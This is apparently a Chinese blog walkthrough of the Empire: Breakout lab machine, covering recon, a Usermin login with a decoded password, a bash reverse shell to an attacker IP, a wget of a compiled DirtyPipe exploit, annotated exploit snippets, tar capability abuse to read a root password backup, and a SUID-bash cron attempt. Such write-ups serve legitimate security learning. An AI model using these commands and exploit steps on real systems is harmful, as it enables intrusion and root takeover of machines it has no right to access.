Empire: Breakout靶机渗透

免责声明
重要提醒:本文档/文章仅限于合法的学习与研究目的,严禁用于任何非法、违规或损害他人权益的活动
本文档所有技术演示仅在本地虚拟机环境中进行,不涉及任何真实在线系统或商业游戏。作者不对任何读者因误用本文内容而引发的账号封禁、数据丢失、法律追责或其他后果承担任何责任。
如本文无意中涉及任何可被滥用的技术细节,纯属客观描述现有公开机制,不提供可执行方案,也不承担后续责任。
阅读/使用本文即表示您已完全理解并同意以上条款。如不同意,请立即停止阅读。


信息搜集

扫网段和端口,这次出现了这么几个:

image

有两个是Webmin的高位端口,猜测入口点大概率在这里,还是按照顺序来先看一下80端口:

image

一个默认界面,上了dirsearch扫了一下有一个/manual/index.html,但同样也是跟阿帕奇配置信息有关的,因此换个方向到高位端口看一下

这里10000和20000显示的还不一样,一个是Webmin,一个Usermin,不知道是啥网上找了一下,简单来说就是一个是管理员登录界面另一个是用户登录界面,具体解释如下:

Webmin
Webmin 是一个基于 Perl 的 Web 管理界面,允许系统管理员通过浏览器管理服务器的各个方面,包括文件系统、用户账户、服务配置、DNS、邮件服务器等。它支持大多数 Unix 系统,如 Linux、FreeBSD、Solaris 等。Webmin 提供了强大的权限控制功能,可以创建不同用户并限制其访问特定模块,同时仍以 root 权限运行以保证系统管理能力。它适合需要全面管理服务器的管理员使用。
Usermin
Usermin 是 Webmin 的简化版本,主要面向普通用户(非 root 权限用户)。它允许用户通过 Web 界面访问自己的邮箱、SQL 数据库以及其他被管理员授权的模块。Usermin 的设计目标是让普通用户能够安全地管理自己的账户和资源,而不会影响系统的整体配置或安全

按照正常流程来讲肯定是从低权限用户开始的,那么先看20000端口,dirsearch扫的很慢,等待的同时先手动测测:

最开始先是网上找了一下默认的账户密码,但是网上有很多个版本,后面才知道官方是没有设置默认密码的:

Webmin在官方标准安装中不存在静态默认密码,其认证依赖宿主操作系统的root账户凭证。所谓“默认密码”的多种说法均来自特定设备集成商或第三方打包者的预配置,彼此互不通用。对于一般用户,登录凭证为:用户名root(或admin,取决于具体集成商),密码为安装操作系统时设定的root密码或集成商文档中指定的密码。若上述凭证无效,唯一可靠的恢复路径是通过服务器的root权限执行命令行密码重置

这样的话就很难办了,最后试了下爆破,也是有次数限制的:

image

然后目录扫完之后也是没有什么东西,换了dirbgobuster因为SSL问题也扫描不了, 那么看起来切入口似乎只有smb了,但是尝试过后依旧不行,更加具体的细节可戳这里,那么只能回到web端再看看了.

后面回到了默认的80端口,看了一下源代码才发现真有东西:

image

遇到不知道的上网查了一下是brainfuck编码,使用在线的ide解码一下:
.2uqPEfj3D<P'a-3
这个看起来大概率就是密码了,但是还有一个问题是账户还是不知道,没招了看了一下walkthrough发现是在enum4linux中找到一个叫cyber的:

image

但是为啥我这里没有 Σ(っ °Д °;)っ

后面才知道原来当时让输入passwd的时候我是直接退出了,没有直接回车进行空会话交互。

现在知道了可能的账户密码之后尝试登录,在usermin中成功进去


获取shell

这里很特别的一个地方是左边直接有一个终端界面:

image

直接bash反弹:

bash -i >& /dev/tcp/10.144.45.177/4444 0>&1

在这里插入图片描述


后渗透

DirtyPipe内核提权

进去之后的目录没有什么东西,然后sudo一下,显示的还是命令没找到,注意到这里还有一个tar,cat之后是一个二进制文件,没有string读不了,那还是再看一下SUID或者内核有无漏洞啥的:

image

看着没有,然后看了内核版本:Linux 5.10.0-9-amd64

网上搜了一下有一个重写任意只读文件漏洞,编号CVE-2022-0847,可以直接下载到kali中:

image

因为靶机上没有gcc所以要本地编译一下:

gcc 50808.c -o dirtypipe

wget http://10.144.45.177:8000/dirtypipe

chmod +x dirtypipe

./dirtypipe /usr/bin/passwd

一键提权:

image

漏洞原理分析

Dirty Pipe 是 Linux 内核 splice 和 pipe(管道)机制中的一个漏洞,影响的版本包括 5.8 到 5.16.11。

正常情况下的数据流

当 Linux 读取文件时,内核会使用页缓存(Page Cache)把磁盘上的数据缓存到内存页中,后续读操作直接从内存页取数据,而不用反复读盘。

关键概念:

页缓存:文件数据在内核中的内存副本。
管道:一个内存中的 FIFO 队列,用于进程间传递数据。
splice 系统调用:一种高效的数据传输方式,可以在文件页缓存和管道之间直接传递数据,无需复制到用户空间。

正常流程:

  1. 文件 A 的数据被读入页缓存(内存页)。

  2. splice(fd, &offset, pipe[1], NULL, len, 0) 把页缓存里的数据引用追加到管道中,管道里有了一个指向页缓存的“指针”,但管道的 flags 会标记为不可合并

  3. 写管道时,如果 flags 正确,数据只会添加到管道缓冲区,不会“污染”原始文件


漏洞利用:

漏洞出在copy_page_to_iter_pipe()内核函数中(在 splice 内部调用)。当 splice 把页缓存数据放入管道时,它没有正确初始化管道缓冲区的 flags 成员。

当 flags 没被初始化时,可能保留旧值,即PIPE_BUF_FLAG_CAN_MERGE(可合并标志)。

这个标志原本的意义是:写管道时,如果新数据可以合并到已有管道缓冲区,就直接合并而不用重新分配新的缓冲区。但在漏洞场景下,这就变成了管道里有一个指向文件页缓存的指针,该管道的 flags 错误地保留了 PIPE_BUF_FLAG_CAN_MERGE

当用户向管道写入数据时,内核会尝试把数据合并到现有管道缓冲区。因为该缓冲区直接指向文件的页缓存写入的数据就会被写入原始文件的页缓存中,从而修改了原始文件

而且这个写入绕过了文件权限检查,即使文件是只读的、不可变的或位于只加载,也能被修改。


exp分析

  1. 准备阶段:制造一个“脏管道”
static void prepare_pipe(int p[2])
{
    if (pipe(p)) abort();
    const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
    static char buffer[4096];

    // 1. 把管道填满(所有缓冲区都分配并设置 CAN_MERGE 标志)
    for (unsigned r = pipe_size; r > 0;) {
        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
        write(p[1], buffer, n);
        r -= n;
    }

    // 2. 把管道读空(释放所有缓冲区,但 CAN_MERGE 标志残留)
    for (unsigned r = pipe_size; r > 0;) {
        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
        read(p[0], buffer, n);
        r -= n;
    }
    // 此时管道已空,但缓冲区 flags 没被正确重置,保留了 CAN_MERGE
}

这一步的核心是让管道变为空,但内核还残留着带有 CAN_MERGE 标志的缓冲区


  1. 注入阶段:把 SUID 文件的页缓存“挂到”脏管道上
// splice 一个字节从文件页缓存到管道
--offset;   // offset 变为 0
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);

打开 SUID 文件(只读方式)用 splice 把文件偏移量 0 处的 1 个字节转移到管道中,这样管道里有了一个指向 SUID 文件的页缓存的缓冲区,且因为漏洞,它的 flags 仍是 CAN_MERGE


  1. 覆盖阶段:把恶意代码写入 SUID 文件的页缓存
nbytes = write(p[1], data, len);

向管道写入 elfcode 数组(内嵌的恶意机器码)

因为管道的 CAN_MERGE 标志仍存在,内核直接把数据写入了 SUID 文件的页缓存,从偏移量 1 开始覆盖(因为 splice 偏移了 0,write 追加在已拼接的 1 字节之后),文件在磁盘上暂时不会更新,但页缓存中已经被修改。任何新打开该文件的进程都会从被污染的页缓存读取数据


  1. 执行阶段:触发被污染的 SUID 程序
system(path);  // 执行 SUID 文件

系统执行 SUID 文件时,会从被污染的页缓存读取程序代码,执行其中注入的恶意代码
恶意代码 elfcode 的功能如下:

首先创建文件 /tmp/sh,并写入另一个 ELF 程序(也是内嵌的),再将 /tmp/sh 设为 SUID 权限

此时,/tmp/sh 被放置好,且拥有 SUID 权限(因为创建它的进程具有 root 权限)


  1. 恢复与提权阶段
// 恢复原 SUID 文件的页缓存
hax(path, 1, orig_bytes, sizeof(elfcode));

// 执行之前放置的 SUID shell
system("/tmp/sh");

利用同样的技术,把 SUID 文件的页缓存恢复到原始状态(orig_bytes 是之前备份的)最后执行 /tmp/sh,该程序的功能是:

setuid(0); setgid(0); 设置用户为 root

execve("/bin/sh", ...) 启动一个 root shell

由于文件系统层面一切正常,SUID 文件没被修改,审计日志中也不会留下痕迹


备份文件提权

然后后面又翻了一下别的目录,在/var下有一个备份文件,列出来看到一个旧密码:

image

但问题是只有root可以读写,之前在家目录下有一个tar,但是没显示SUID位,照理说不应该啊,此地无银三百两hhh 尝试用tar:

./tar -cf bak.tar /var/backups/.old_pass.bak

首先是将该绝对路径下的文件打包成bak.tar,只要文件存在并且可读,就会打包成功

tar -xf bak.tar

即解包,并且这里tar 默认会把绝对路径前面的 / 去掉,所以解出来是相对路径,不会覆盖系统原文件

最后是读取本地解出来的副本

cat var/backups/.old_pass.bak

获得密码Ts&4&YurgtRX(=~h

最后切换root即可:

image

这里其实有个问题是tar明明没有SUID位,为什么能够读取旧密码的备份文件呢?这里有一个新的查看权限【或者说是能力】的命令getcap ~/tar:·etcap 是一个 Linux 命令行工具,专门用来查看文件或目录被赋予了哪些 Linux Capabilities(能力)

image

在这里意思就是:这个tar文件被赋予了“绕过文件读权限检查”的特权能力:

组成部分 缩写 全称 含义
前缀 CAP Capability 能力(Linux 细粒度权限机制)
主体 DAC Discretionary Access Control 自主访问控制(即传统的 rwx 权限模型)
子操作 READ Read 文件读取
子操作 SEARCH Search 目录遍历(搜索执行权限)
标志位 缩写 全称 含义
生效标志 e Effective 程序执行时该能力立即生效
允许标志 p Permitted 进程拥有并使用该能力的许可

这也是为什么tar能读取的最终原因


复盘

这次的靶机怎么说呢,信息搜集还是太重要了,不能说就是一个默认的界面以为没东西然后就直接跳过了,一直在其他地方死磕但磕不出来,但也算是了解了很多SMB的更加具体的知识了吧。

然后其实那个读取文件不用到shell里面,甚至WEB端直接给出来了:

image

(ˉ▽ˉ;)...

后面翻web端又有一个计划任务,尝试了一下:

cp /bin/bash /tmp/rootshell2 && chmod 4777 /tmp/rootshell2

用cp的原因是大部分现代 Linux 系统,/bin/bash 所在的分区是用 nosuid 选项挂载的,即直接 chmod 4777 /bin/bash 是改不了 SUID 位的,即使改成功了,内核也不认——因为 nosuid 会忽略文件系统上所有 SUID 位,所以必须把 bash 复制到一个没有 nosuid 的目录(比如 /tmp),再给它加 SUID 权限。

但任务是以 cyber 身份运行的,SUID 位虽然生效,但它只会把执行者提权成 cyber 自己,所以提权不了:

image


碎碎念

其实怎么说呢,也做了挺多的,看了网上很多的walktrough都是直接讲打法,很少有具体写踩坑或者别的自己尝试这种,导致了全是同质化的东西【包括我自己也认为有时候写的也是这种】,但既然做了还是得先自己把能想到的点都过了一遍之后再去看别的师傅的解法,然后不要只局限于浏览器第一页的,多往后翻,或者看看外网大佬写的,有时候会有不一样的收获。
★,°:.☆( ̄▽ ̄)/$:.°★

posted @ 2026-05-06 19:19  ShoreKiten  阅读(9)  评论(0)    收藏  举报